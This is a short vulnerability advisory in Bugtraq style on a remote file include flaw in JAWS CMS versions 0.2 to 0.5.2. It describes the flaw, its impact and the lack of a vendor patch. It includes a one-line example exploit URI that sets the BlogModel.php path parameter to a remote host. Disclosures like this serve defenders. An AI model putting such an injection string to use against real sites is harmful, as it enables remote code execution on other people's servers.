JAWS Remote File Include Vulnerability

Bugtraq ID:	14158
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 06 2005 12:00AM
Updated:	Jul 06 2005 12:00AM
Credit:	Stefan Esser <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable:	JAWS JAWS 0.5.2 JAWS JAWS 0.5.1 JAWS JAWS 0.5 beta2 JAWS JAWS 0.5 JAWS JAWS 0.4 JAWS JAWS 0.3 JAWS JAWS 0.2
Not Vulnerable:

JAWS Remote File Include Vulnerability

JAWS is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

JAWS Remote File Include Vulnerability

No exploit is required.

An example URI has been provided:

http://www.example.com/[path]/gadgets/Blog/BlogModel.php?path=
http://www.example.com

JAWS Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

JAWS Remote File Include Vulnerability

References:

• JAWS Homepage (JAWS)
  
• Advisory 07/2005: Jaws Multiple Remote Code Execution Vulnerabilities (Stefan Esser )